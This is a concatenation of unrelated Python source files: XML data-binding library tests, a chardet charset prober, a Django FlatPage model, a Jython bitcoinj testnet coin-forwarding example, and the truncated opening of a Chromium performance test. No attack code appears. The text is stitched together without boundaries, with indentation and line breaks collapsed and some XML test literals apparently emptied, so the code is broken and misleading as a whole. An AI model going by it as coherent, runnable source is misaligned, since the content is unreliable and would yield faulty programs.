self.failUnlessEqual(node.fromString("abcde"), False) def testNullNode(self): node = xmllib.NullNode() node.characters('anything at all') self.assertEquals(node.finalize(), None) binder = xmllib.DataBinder() self.assertXMLEquals(binder.toXml(node, prettyPrint = False), "") def testCompositeNode(self): class CompNode(xmllib.BaseNode): _singleChildren = ['integerData', 'stringData'] node = CompNode() child = xmllib.IntegerNode(name = 'integerData') child.characters('3') node.addChild(child) self.assertEquals(node.integerData, 3) child = xmllib.StringNode(name = 'stringData') child.setName('stringData') child.characters('foo') node.addChild(child) self.assertEquals(node.stringData, 'foo') child = xmllib.StringNode(name = 'unknownData') child.characters('bar') node.addChild(child) self.failIf(hasattr(node, 'unknownData')) self.failUnlessEqual([ x for x in node.iterChildren() ], ['bar']) class ContentHandlerTest(BaseTest): def testInvalidData(self): data = "vadfadfadf" binder = xmllib.DataBinder() self.failUnlessRaises(xmllib.InvalidXML, binder.parseString, data) def testToplevelNode(self): # Some invalid XML data = "vadfadfadf" tn = xmllib.ToplevelNode(data) self.failUnlessEqual(tn.name, None) # Invalid XML (but the sax parser should not notice the lack of a # close tag) data = ''' blah''' tn = xmllib.ToplevelNode(data) self.failUnlessEqual(tn.name, 'node') # Valid XML data2 = data + "" tn = xmllib.ToplevelNode(data2) self.failUnlessEqual(tn.name, 'node') self.failUnlessEqual(tn.attrs, {'xmlns' : 'a', 'xmlns:xsi' : 'b', 'xsi:schemaLocation' : 'c', 'attr' : 'd', 'xsi:q' : 'q'}) self.failUnlessEqual(tn.getAttributesByNamespace('b'), {'schemaLocation' : 'c', 'q' : 'q'}) self.failUnlessEqual(tn.getAttributesByNamespace('a'), {'attr' : 'd'}) self.failUnlessEqual(tn.getAttributesByNamespace('nosuchns'), {}) def testHandlerRegisterType(self): hdlr = xmllib.BindingHandler() self.assertEquals(hdlr.typeDict, {}) hdlr.registerType(xmllib.StringNode, 'foo') self.assertEquals(hdlr.typeDict, {(None, 'foo'): xmllib.StringNode}) hdlr = xmllib.BindingHandler() hdlr.registerType(xmllib.StringNode, 'foo', namespace = 'ns0') self.assertEquals(hdlr.typeDict, {('ns0', 'foo'): xmllib.StringNode}) hdlr = xmllib.BindingHandler({(None, 'bar'): xmllib.IntegerNode}) self.assertEquals(hdlr.typeDict, {(None, 'bar'): xmllib.IntegerNode}) def testStartElement(self): hdlr = xmllib.BindingHandler({(None, 'foo'): xmllib.StringNode}) hdlr.startElement('foo', {}) self.assertEquals(len(hdlr.stack), 1) self.assertEquals(hdlr.stack[0].__class__.__name__ , 'StringNode') assert isinstance(hdlr.stack[0], xmllib.StringNode) hdlr.startElement('bar', {'attr1': '1'}) self.assertEquals(len(hdlr.stack), 2) self.assertEquals(hdlr.stack[1].__class__.__name__ , 'GenericNode') assert isinstance(hdlr.stack[1], xmllib.GenericNode) self.assertEquals(hdlr.stack[1].getAttribute('attr1'), '1') def testEndElement1(self): hdlr = xmllib.BindingHandler() node1 = xmllib.BaseNode(name = 'foo') node2 = xmllib.BaseNode(name = 'foo') hdlr.stack = [node1, node2] hdlr.endElement('foo') self.assertEquals(hdlr.rootNode, None) self.assertEquals(len(hdlr.stack), 1) self.assertEquals(hdlr.stack[0], node1) self.failIf(hdlr.stack[0] == node2) hdlr.endElement('foo') self.assertEquals(hdlr.rootNode, node1) self.assertEquals(len(hdlr.stack), 0) def testEndElement2(self): class RecordNode(xmllib.BaseNode): def __init__(x, name = None): x.called = False xmllib.BaseNode.__init__(x, name = name) def addChild(x, child): assert isinstance(child, xmllib.BaseNode) x.called = True return xmllib.BaseNode.addChild(x, child) hdlr = xmllib.BindingHandler() node1 = RecordNode(name = 'foo') node2 = xmllib.BaseNode(name = 'foo') hdlr.stack = [node1, node2] hdlr.endElement('foo') self.assertEquals(node1.called, True) def testCharacters1(self): hdlr = xmllib.BindingHandler() node = xmllib.BaseNode() hdlr.stack = [node] hdlr.characters('foo') self.assertEquals(node.getText(), 'foo') def testCharacters2(self): class RecordNode(xmllib.BaseNode): def __init__(x): x.called = False xmllib.BaseNode.__init__(x) def characters(x, ch): x.called = True hdlr = xmllib.BindingHandler() node = RecordNode() hdlr.stack = [node] hdlr.characters('foo') self.assertEquals(node.called, True) def testStreaming(self): vals = range(5) class Root(xmllib.BaseNode): pass class Pkg(xmllib.BaseNode): WillYield = True _singleChildren = [ 'val' ] class Val(xmllib.IntegerNode): pass xml = "%s" % ''.join( "%s" % i for i in vals) hdlr = xmllib.StreamingDataBinder() hdlr.registerType(Root, name = "root") hdlr.registerType(Pkg, name = "pkg") hdlr.registerType(Val, name = "val") it = hdlr.parseString(xml) self.failUnlessEqual([ x.val for x in it ], vals) sio = StringIO.StringIO(xml) # Same deal with a tiny buffer size, to make sure we're incrementally # parsing it = hdlr.parseFile(sio) it.BUFFER_SIZE = 2 self.failUnlessEqual(it.next().val, 0) self.failUnlessEqual(sio.tell(), 30) self.failUnlessEqual(it.next().val, 1) self.failUnlessEqual(it.parser.getColumnNumber(), 52) self.failUnlessEqual(it.next().val, 2) self.failUnlessEqual(it.parser.getColumnNumber(), 75) self.failUnlessEqual(it.next().val, 3) self.failUnlessEqual(it.parser.getColumnNumber(), 98) class BinderTest(BaseTest): def testBinderRegisterType(self): binder = xmllib.DataBinder() binder.registerType(xmllib.StringNode, 'foo') self.assertEquals(binder.contentHandler.typeDict, {(None, 'foo'): xmllib.StringNode}) binder = xmllib.DataBinder({(None, 'bar'): xmllib.IntegerNode}) self.assertEquals(binder.contentHandler.typeDict, {(None, 'bar'): xmllib.IntegerNode}) def testParseString(self): class ComplexType(xmllib.BaseNode): def addChild(slf, childNode): if childNode.getName() == 'foo': slf.foo = childNode.finalize() elif childNode.getName() == 'bar': slf.bar = childNode.finalize() binder = xmllib.DataBinder() binder.registerType(xmllib.IntegerNode, 'foo') binder.registerType(xmllib.StringNode, 'bar') binder.registerType(ComplexType, 'baz') data = '3test' obj = binder.parseString(data) self.assertEquals(obj.foo, 3) self.assertEquals(obj.bar, 'test') self.assertEquals(obj.getName(), 'baz') def testRoundTripGenericParsing(self): binder = xmllib.DataBinder() data = '3test' obj = binder.parseString(data) data2 = binder.toXml(obj, prettyPrint = False) self.assertXMLEquals(data, data2) def testParseFile(self): class ComplexType(xmllib.BaseNode): _singleChildren = ['foo', 'bar'] binder = xmllib.DataBinder() binder.registerType(xmllib.BooleanNode, 'foo') binder.registerType(xmllib.NullNode, 'bar') binder.registerType(ComplexType, 'baz') data = 'TRUEtest' fd, tmpFile = tempfile.mkstemp() try: os.close(fd) f = open(tmpFile, 'w') f.write(data) f.close() obj = binder.parseFile(tmpFile) finally: os.unlink(tmpFile) self.assertEquals(obj.foo, True) self.assertEquals(obj.bar, None) self.assertEquals(obj.getName(), 'baz') def testIterChildren(self): binder = xmllib.DataBinder() class Foo(xmllib.BaseNode): def iterChildren(self): if hasattr(self, 'bar'): yield self.bar if hasattr(self, 'foo'): yield xmllib.StringNode(name = 'foo').characters( xmllib.BooleanNode.toString(self.foo)) if hasattr(self, 'test'): yield xmllib.StringNode(name = 'test').characters(self.test) foo = Foo(name = 'Foo') foo.foo = True foo.bar = Foo(name = 'bar') foo.bar.test = '123' data = binder.toXml(foo) self.assertXMLEquals(data, "" '\n\n \n' ' 123\n \n true\n') obj = binder.parseString(data) data2 = binder.toXml(obj) self.assertXMLEquals(data, data2) def testIterChildren2(self): binder = xmllib.DataBinder() binder.registerType(xmllib.BooleanNode, 'foo') class Foo(xmllib.BaseNode): def iterChildren(self): if hasattr(self, 'bar'): yield self.bar if hasattr(self, 'foo'): yield xmllib.StringNode(name = 'foo').characters( xmllib.BooleanNode.toString(self.foo)) if hasattr(self, 'test'): yield xmllib.StringNode(name = 'test').characters(self.test) foo = Foo(name = 'Foo') foo.foo = True foo.bar = Foo(name = 'bar') foo.bar.test = '123' data = binder.toXml(foo) self.assertXMLEquals(data, '\n'.join(( '', '', ' ', ' 123', ' ', ' true', ''))) def testToXmlInt(self): binder = xmllib.DataBinder() intObj = xmllib.IntegerNode(name = 'foo').characters('3') self.assertXMLEquals(binder.toXml(intObj, prettyPrint = False), '3') intObj = xmllib.IntegerNode().characters('3') self.assertXMLEquals(binder.toXml(intObj, prettyPrint = False), '3') def testToXmlBool(self): binder = xmllib.DataBinder() node = xmllib.BooleanNode(name = 'foo').characters('1') self.assertXMLEquals(binder.toXml(node, prettyPrint = False), "true") node = xmllib.BooleanNode(name = 'foo').characters('tRue') self.assertXMLEquals(binder.toXml(node, prettyPrint = False), "true") node = xmllib.BooleanNode(name = 'foo').characters('False') self.assertXMLEquals(binder.toXml(node, prettyPrint = False), "false") node = xmllib.BooleanNode().characters('tRue') self.assertXMLEquals(binder.toXml(node, prettyPrint = False), "true") def testToXmlList2(self): binder = xmllib.DataBinder() class ListObj(xmllib.SerializableList): tag = "toplevel" class Node1(xmllib.SlotBasedSerializableObject): __slots__ = [ 'attr1', 'attr2', 'attr3', 'children' ] tag = "node1" l1 = ListObj() n1 = Node1() l1.append(n1) n1.attr1 = "attrVal11" n1.attr2 = 12 n1.attr3 = None n1.children = xmllib.StringNode(name = "child11").characters("text 11") n2 = Node1() l1.append(n2) n2.attr1 = 21 n2.attr2 = "attrVal21" n2.attr3 = True # Add a list of elements as children of n2 l2 = ListObj() l2.tag = "list2" l2.append(xmllib.StringNode(name = "child21").characters("text 21")) l2.append(xmllib.StringNode(name = "child31").characters("text 31")) n2.children = l2 xmlData = binder.toXml(l1) self.assertXMLEquals(xmlData, """ text 11 text 21 text 31 """) def testToXmlUnicode(self): class Foo(xmllib.BaseNode): pass binder = xmllib.DataBinder() binder.registerType('foo', Foo) foo = Foo({u'birth-place' : u'K\u00f6ln'}, name = 'Foo') marriage = xmllib.BaseNode(name = 'marriage') marriage.characters(u'Troms\xf8') foo.addChild(marriage) self.assertXMLEquals(binder.toXml(foo, prettyPrint = False), '%s' % ('Köln', 'Troms\xc3\xb8')) targetData = '\n' \ '\n Troms\xc3\xb8\n' self.assertXMLEquals(binder.toXml(foo), targetData) # Make sure we can still load the string obj = binder.parseString(binder.toXml(foo)) def testUnkNodeVsStringNode(self): data = "123" binder = xmllib.DataBinder() obj = binder.parseString(data) assert isinstance(obj.getChildren('foo')[0], xmllib.BaseNode) self.assertEquals(obj.getChildren('foo')[0].getText(), '123') binder.registerType(xmllib.StringNode, 'foo') obj = binder.parseString(data) self.assertEquals([ x for x in obj.iterChildren() ], ['123']) def testAttributesVsTags(self): class Foo(object): test = 42 def getElementTree(slf, parent = None): elem = etree.Element('Foo', dict(test=str(slf.test))) if parent is not None: parent.append(elem) return elem binder = xmllib.DataBinder() foo = Foo() data = binder.toXml(foo, prettyPrint = False) self.assertXMLEquals(data, '') foo.test = 14 data2 = binder.toXml(foo, prettyPrint = False) self.assertXMLEquals(data2, '') class FooNode(xmllib.BaseNode): def addChild(slf, child): if child.getName() == 'test': slf.test = child.finalize() def finalize(slf): t = slf.getAttribute('test') if t is not None: slf.test = int(t) return slf binder = xmllib.DataBinder() binder.registerType(xmllib.IntegerNode, 'test') binder.registerType(FooNode, 'Foo') obj = binder.parseString(data2) # test that conflicting attributes and tags were preserved self.assertEquals(obj.test, 14) def testChildOrder(self): binder = xmllib.DataBinder() ordering = ['foo'] items = [ xmllib.BaseNode(name = x) for x in ['foo', 'bar']] # prove that items in the ordering are listed first self.assertEquals(xmllib.orderItems(items, ordering), items) self.assertEquals(xmllib.orderItems(reversed(items), ordering), items) ordering = ['foo', 'bar'] items = [ xmllib.BaseNode(name = x) for x in ['biff', 'baz', 'bar', 'foo'] ] ref = [items[3], items[2], items[1], items[0]] # prove ordering of listed items are by list. ordering of other # items is lexigraphical self.assertEquals(xmllib.orderItems(items, ordering), ref) # prove that it's ok to have items missing from ordering ordering = ['foo', 'bar', 'unused'] items.append(xmllib.BaseNode(name = 'another')) ref.insert(2, items[-1]) self.assertEquals(xmllib.orderItems(items, ordering), ref) class RoundTripTest(BaseTest): def testXml2Obj2Xml(self): origData = "\n\n 123\n \xc3\xb6\n" binder = xmllib.DataBinder() binder.registerType('foo', xmllib.StringNode) obj = binder.parseString(origData) data = binder.toXml(obj) self.assertXMLEquals(origData, data) def testXmlAttrs(self): origData = """\n\n 123\n""" binder = xmllib.DataBinder() obj = binder.parseString(origData) data = binder.toXml(obj) self.assertXMLEquals(origData, data) def testXmlAttrs2(self): origData = """\n\n 123\n""" refData = '123' binder = xmllib.DataBinder() obj = binder.parseString(origData) data = binder.toXml(obj) self.assertXMLEquals(origData, data) def testRoundTripDefault(self): binder = xmllib.DataBinder() data = '\n'.join(('', '', ' More text', ' This is some text', '')) data2 = '\n'.join(('', '', ' This is some text', ' More text', '')) obj = binder.parseString(data) newData = binder.toXml(obj) # this child node ordering is influenced by the order of the nodes # in the original xml blob self.assertXMLEquals(newData, data) class Foo(xmllib.BaseNode): name = 'foo' _childOrder = ['baz', 'bar'] binder = xmllib.DataBinder() binder.registerType(Foo) obj = binder.parseString(data2) newData = binder.toXml(obj) self.assertXMLEquals(newData, data) def testNamespaceSupport(self): binder = xmllib.DataBinder() data = '\n'.join(('', '', ' More text', '')) obj = binder.parseString(data) ndata = binder.toXml(obj) self.assertXMLEquals(data, ndata) def testXmlBaseNamespaceSupport(self): binder = xmllib.DataBinder() data = '\n'.join(('', '', ' More text', '')) obj = binder.parseString(data) ndata = binder.toXml(obj) self.assertXMLEquals(data, ndata) self.failUnlessEqual(obj.getAttributeByNamespace('base', namespace='http://www.w3.org/XML/1998/namespace'), 'media://foo') def testDispatcherRegisterClasses(self): class Coll1: class BaseType(object): @classmethod def getTag(kls): return kls.tag def __init__(self, node): self.node = node class ClassA(BaseType): tag = 'A' class ClassB(BaseType): tag = 'B' disp = xmllib.NodeDispatcher() disp.registerClasses(Coll1,Coll1.BaseType) self.failUnlessEqual(disp._dispatcher, {'{}A' : Coll1.ClassA, '{}B' : Coll1.ClassB}) # With a default namespace disp = xmllib.NodeDispatcher({None : 'nspaceA'}) disp.registerClasses(Coll1,Coll1.BaseType) self.failUnlessEqual(disp._dispatcher, {'{nspaceA}A' : Coll1.ClassA, '{nspaceA}B' : Coll1.ClassB}) # One of the classes is in a different namespace Coll1.ClassB.tag = 'nsB:B' nsMap = {None : 'nspaceA', 'nsB' : 'nspaceB'} disp = xmllib.NodeDispatcher(nsMap = nsMap) disp.registerClasses(Coll1,Coll1.BaseType) self.failUnlessEqual(disp._dispatcher, {'{nspaceA}A' : Coll1.ClassA, '{nspaceB}B' : Coll1.ClassB}) # Test that dispatching works n1 = xmllib.BaseNode(nsMap = nsMap, name = 'A') c1 = disp.dispatch(n1) self.failUnlessEqual(c1.__class__, Coll1.ClassA) n2 = xmllib.BaseNode(nsMap = nsMap, name = 'nsB:B') c2 = disp.dispatch(n2) self.failUnlessEqual(c2.__class__, Coll1.ClassB) # Now, an example of a class that we register directly class ClassC(object): def __init__(self, node): self.node = node disp.registerType(ClassC, name = 'C') n3 = xmllib.BaseNode(nsMap = nsMap, name = 'C') c3 = disp.dispatch(n3) self.failUnlessEqual(c3.__class__, ClassC) # And another one, now with namespace disp.registerType(ClassC, name = 'D', namespace = 'nsB') n4 = xmllib.BaseNode(nsMap = nsMap, name = 'nsB:D') c4 = disp.dispatch(n4) self.failUnlessEqual(c4.__class__, ClassC) self.failUnlessEqual(c4.node, n4) # a class we register without a name and with no getTag - should be # ignored class ClassE(object): def __init__(self, node): self.node = node disp.registerType(ClassE) self.failUnlessEqual(disp._dispatcher, {'{nspaceA}A' : Coll1.ClassA, '{nspaceB}B' : Coll1.ClassB, '{nspaceA}C' : ClassC, '{nspaceB}D' : ClassC}) # And a node we don't handle n5 = xmllib.BaseNode(nsMap = nsMap, name = 'X') c5 = disp.dispatch(n5) self.failUnlessEqual(c5, None) class SchemaValidationTest(BaseTest): def testGetSchemaLocationFromStream(self): # Exceptions first stream = StringIO.StringIO('No XML data') e = self.failUnlessRaises(xmllib.InvalidXML, xmllib.DataBinder.getSchemaLocationsFromStream, stream) self.failUnlessEqual(str(e), "Possibly malformed XML") stream = StringIO.StringIO('') e = self.failUnlessRaises(xmllib.UnknownSchemaError, xmllib.DataBinder.getSchemaLocationsFromStream, stream) self.failUnlessEqual(str(e), "Schema location not specified in XML stream") stream = StringIO.StringIO('') e = self.failUnlessRaises(xmllib.UnknownSchemaError, xmllib.DataBinder.getSchemaLocationsFromStream, stream) self.failUnlessEqual(str(e), "Schema location not specified in XML stream") stream = StringIO.StringIO('BAD DATA ') stream.seek(9) self.failUnlessEqual(xmllib.DataBinder.getSchemaLocationsFromStream(stream), ["blah1", "blah2"]) self.failUnlessEqual(stream.tell(), 9) def testChooseSchemaFile(self): schemaFiles = ["sf1", "sf2", "sf4", "sf5"] e = self.failUnlessRaises(xmllib.UnknownSchemaError, xmllib.DataBinder.chooseSchemaFile, schemaFiles, None) self.failUnlessEqual(str(e), "Schema directory not specified") tmpdir = tempfile.mkdtemp() e = self.failUnlessRaises(xmllib.UnknownSchemaError, xmllib.DataBinder.chooseSchemaFile, schemaFiles, tmpdir) self.failUnlessEqual(str(e), "No applicable schema found in directory `%s'" % tmpdir) # To make sure directory ordering doesn't matter, mock out listdir origListdir = os.listdir listdir = lambda x: ["sf4", "sf3", "sf2"] try: os.listdir = listdir file(os.path.join(tmpdir, "sf2"), "w") file(os.path.join(tmpdir, "sf3"), "w") file(os.path.join(tmpdir, "sf4"), "w") ret = xmllib.DataBinder.chooseSchemaFile(schemaFiles, tmpdir) self.failUnlessEqual(ret, os.path.join(tmpdir, "sf2")) finally: os.listdir = origListdir shutil.rmtree(tmpdir, ignore_errors = True) e = self.failUnlessRaises(xmllib.UnknownSchemaError, xmllib.DataBinder.chooseSchemaFile, schemaFiles, tmpdir) self.failUnlessEqual(str(e), "Schema directory `%s' not found" % tmpdir) def testClassLevelValidate(self): tmpdir = tempfile.mkdtemp() try: file(os.path.join(tmpdir, "schema.xsd"), "w+").write(xmlSchema1) stream = StringIO.StringIO(xmlData1) xmllib.DataBinder.validate(stream, tmpdir) # xmlData2 should fail stream = StringIO.StringIO(xmlData2) e = self.failUnlessRaises(xmllib.SchemaValidationError, xmllib.DataBinder.validate, stream, tmpdir) self.failUnlessEqual(str(e), schemaError2) finally: shutil.rmtree(tmpdir, ignore_errors = True) def testParseFileValidate(self): tmpdir = tempfile.mkdtemp() stream = StringIO.StringIO(xmlData1) try: file(os.path.join(tmpdir, "schema.xsd"), "w+").write(xmlSchema1) binder = xmllib.DataBinder() binder.parseFile(stream, validate = True, schemaDir = tmpdir) binder.parseString(xmlData1, validate = True, schemaDir = tmpdir) # Try to pass None as a schema directory - should fail stream.seek(0) e = self.failUnlessRaises(xmllib.UnknownSchemaError, binder.parseFile, stream, validate = True, schemaDir = None) self.failUnlessEqual(str(e), "Schema directory not specified") finally: shutil.rmtree(tmpdir, ignore_errors = True) xmlSchema1 = """\ """ xmlData1 = """\ """ xmlData2 = xmlData1.replace("", "") schemaError2 = ( ":4:0:ERROR:SCHEMASV:SCHEMAV_ELEMENT_CONTENT: " "Element '{http://my.example.com}c2': This element is not expected. " "Expected is ( {http://my.example.com}c1 )." ) ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # Proofpoint, Inc. # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### import sys from . import constants from .charsetprober import CharSetProber class MultiByteCharSetProber(CharSetProber): def __init__(self): CharSetProber.__init__(self) self._mDistributionAnalyzer = None self._mCodingSM = None self._mLastChar = [0, 0] def reset(self): CharSetProber.reset(self) if self._mCodingSM: self._mCodingSM.reset() if self._mDistributionAnalyzer: self._mDistributionAnalyzer.reset() self._mLastChar = [0, 0] def get_charset_name(self): pass def feed(self, aBuf): aLen = len(aBuf) for i in range(0, aLen): codingState = self._mCodingSM.next_state(aBuf[i]) if codingState == constants.eError: if constants._debug: sys.stderr.write(self.get_charset_name() + ' prober hit error at byte ' + str(i) + '\n') self._mState = constants.eNotMe break elif codingState == constants.eItsMe: self._mState = constants.eFoundIt break elif codingState == constants.eStart: charLen = self._mCodingSM.get_current_charlen() if i == 0: self._mLastChar[1] = aBuf[0] self._mDistributionAnalyzer.feed(self._mLastChar, charLen) else: self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1], charLen) self._mLastChar[0] = aBuf[aLen - 1] if self.get_state() == constants.eDetecting: if (self._mDistributionAnalyzer.got_enough_data() and (self.get_confidence() > constants.SHORTCUT_THRESHOLD)): self._mState = constants.eFoundIt return self.get_state() def get_confidence(self): return self._mDistributionAnalyzer.get_confidence() from django.core import validators from django.db import models from django.contrib.sites.models import Site from django.utils.translation import ugettext_lazy as _ class FlatPage(models.Model): url = models.CharField(_('URL'), max_length=100, validator_list=[validators.isAlphaNumericURL], db_index=True, help_text=_("Example: '/about/contact/'. Make sure to have leading and trailing slashes.")) title = models.CharField(_('title'), max_length=200) content = models.TextField(_('content'), blank=True) enable_comments = models.BooleanField(_('enable comments')) template_name = models.CharField(_('template name'), max_length=70, blank=True, help_text=_("Example: 'flatpages/contact_page.html'. If this isn't provided, the system will use 'flatpages/default.html'.")) registration_required = models.BooleanField(_('registration required'), help_text=_("If this is checked, only logged-in users will be able to view the page.")) sites = models.ManyToManyField(Site) class Meta: db_table = 'django_flatpage' verbose_name = _('flat page') verbose_name_plural = _('flat pages') ordering = ('url',) def __unicode__(self): return u"%s -- %s" % (self.url, self.title) def get_absolute_url(self): return self.url # An example of how to use Jython to implement the "Getting Started" tutorial app, which receives coins and simply # sends them on (minus a fee). __author__ = "richard 'ragmondo' green" import sys # Change this to point to where you have a copy of the bitcoinj.jar sys.path.append(r"/path/to/bitcoinj-core-0.12-bundled.jar") # This is the address to forward all payments to. Change this (unless you want to send me some testnet coins) my_address_text = "mzEjmna15T7DXj4HC9MBEG2UJzgFfEYtFo" # 0 for instant send, 1 for a more realistic example # if the wallet has no btc in it, then set to 1. # if it has a confirmed balance in it, then you can set it to 0. confirm_wait = 1 from org.bitcoinj.core import * import org.bitcoinj.crypto.KeyCrypterException import org.bitcoinj.params.MainNetParams from org.bitcoinj.kits import WalletAppKit from com.google.common.util.concurrent import FutureCallback from com.google.common.util.concurrent import Futures import java.io.File import sys def loud_exceptions(*args): def _trace(func): def wrapper(*args, **kwargs): try: func(*args, **kwargs) except Exception, e: print "** python exception ",e raise except java.lang.Exception,e: print "** java exception",e raise return wrapper if len(args) == 1 and callable(args[0]): return _trace(args[0]) else: return _trace @loud_exceptions def forwardCoins(tx,w,pg,addr): v = tx.getValueSentToMe(w) amountToSend = v.subtract(Transaction.REFERENCE_DEFAULT_MIN_TX_FEE) sr = w.sendCoins(pg, addr, amountToSend) class SenderListener(AbstractWalletEventListener): def __init__(self,pg,address): super(SenderListener,self). __init__() self.peerGroup = pg self.address = address @loud_exceptions def onCoinsReceived(self, w, tx, pb, nb): print "tx received", tx v = tx.getValueSentToMe(w) class myFutureCallback(FutureCallback): @loud_exceptions def onSuccess(selfx, txn): forwardCoins(tx,w,self.peerGroup, self.address) print "creating %s confirm callback..." % (confirm_wait) Futures.addCallback(tx.getConfidence().getDepthFuture(confirm_wait), myFutureCallback()) if __name__ == "__main__": params = org.bitcoinj.params.TestNet3Params.get() my_address = Address(params,my_address_text) filePrefix = "forwarding-service-testnet" f = java.io.File(".") kit = WalletAppKit(params, f, filePrefix); print "starting and initialising (please wait).." kit.startAsync() kit.awaitRunning() pg = kit.peerGroup() wallet = kit.wallet() sendToAddress = kit.wallet().currentReceiveKey().toAddress(params) print "send test coins to ", sendToAddress, "qrcode - http://qrickit.com/api/qr?d=%s" % (sendToAddress) # no affiliation with qrickit.. sl = SenderListener(pg,my_address) wallet.addEventListener(sl) print "finished initialising .. now in main event loop" #!/usr/bin/env python # Copyright (c) 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Seek performance testing for